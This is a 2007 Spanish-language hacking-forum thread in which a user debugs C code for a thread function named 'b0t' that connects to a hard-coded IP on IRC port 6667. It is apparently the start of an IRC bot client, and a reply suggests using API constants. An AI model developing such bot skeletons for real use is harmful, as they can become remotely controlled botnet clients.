elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: [Aporte] Mejores practicas en Java


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse)
| | |-+  Retorna 0 por socket invalido :S
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Retorna 0 por socket invalido :S  (Leído 683 veces)
Rozor

Desconectado Desconectado

Mensajes: 269


As I Walk Through The Valley Of The Shadow Of Dead


Ver Perfil WWW
Retorna 0 por socket invalido :S
« en: 8 Octubre 2007, 19:24 »

El source me retorna 0 al probar si connect devuelve INVALID_SOCKET ( 0xFFFFFFFF ).


Código:

extern DWORD WINAPI b0t(LPVOID param)
{
       SOCKET sock;
       WSADATA wsa;
       SECURITY_ATTRIBUTES sa;
       WSAPROTOCOL_INFO wsinfo;
      // struct hostent *host;
       struct sockaddr_in mysock;
       static char recvbuff[2050];
       static char sendbuff[2050];
       
       //host = gethostbyname("xxxxxx");
       
       mysock.sin_family = 0x02;
       mysock.sin_port = 0x0b1a; // 6667
       mysock.sin_addr.s_addr = 0x6F271448; //inet_ntoa(*((struct in_addr *)host->h_addr));
       ZeroMemory(&(mysock.sin_zero), 8); // memset

       
       wsinfo.dwServiceFlags1 = 0x0400;
       wsinfo.dwServiceFlags2 = 0x02;
       wsinfo.dwServiceFlags3 = 0x80;
       wsinfo.dwProviderFlags = 0x02;
       wsinfo.iVersion = 0x18;
       wsinfo.iAddressFamily = 0x02;
       wsinfo.iSocketType = 0x01;
       wsinfo.iProtocol = 0x06;
       wsinfo.iSecurityScheme = 0x00;
       wsinfo.dwMessageSize = 0xFFFFFFFF;
       
                                   
             
       if(WSAStartup(0x101, &wsa)!= 0) { TerminateThread(Thr_b0t, 0x00); }
       
       sock = WSASocket(0x02,0x01,0x06,&wsinfo,0x01,0x08);
       
       if(connect(sock, (struct sockaddr *)&mysock, sizeof(mysock)) == 0xFFFFFFFF)
       {
              return 0; // ejecuta el retorno
       }
       
       send(sock, "\x0A\x00\x00", 0x04, 0x00);
       Sleep(500);
       while(TRUE)
       {
                 
             recv(sock, recvbuff, 200, 0x00);
       
       }
       printf("\nRecv: %s\n\n");
       system("PAUSE");
       closesocket(sock);
       WSACleanup();
       
       return 0;     
                                           
}



En línea

out in the streets they call it murder....
Ce3k

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: Retorna 0 por socket invalido :S
« Respuesta #1 en: 14 Octubre 2007, 22:56 »

¿Por qué no usas los "defines" de la API de Windows? Es que no me se los valores que tienen cada uno, y no se si algún campo lo estás inicializando mal


En línea

\x53\x68\x65\x6c\x6c\63\x6f\x64\x65\x0a\x0d\x62\x79\x20\x4a\x69\x6e\x78

\x50\x20\xa0\xad
\x65\x6c\x69\x74\x65
\x68\x61\x63\x6b\x65\x72\x73
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Donde ubicar columnas que retorna una Funcion de Postgres
Bases de Datos
Hadess_inf 8 5,424 Último mensaje 30 Mayo 2011, 16:48
por Hadess_inf
rtcRandomNext es preciso saber el valor que retorna? « 1 2 »
Ingeniería Inversa
Иōҳ 12 2,979 Último mensaje 25 Junio 2011, 19:18
por Иōҳ
hydra retorna demasiados passwords
Seguridad
winkpoo 2 2,554 Último mensaje 15 Octubre 2011, 17:34
por winkpoo
[API Google] Acortar URL ??, no me retorna !!
PHP
Diabliyo 1 1,059 Último mensaje 24 Enero 2012, 16:03
por ~ Yoya ~
Diferencias entre funcion que retorna y no retorna.
Programación C/C++
FKT 7 961 Último mensaje 21 Agosto 2015, 00:31
por FKT
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines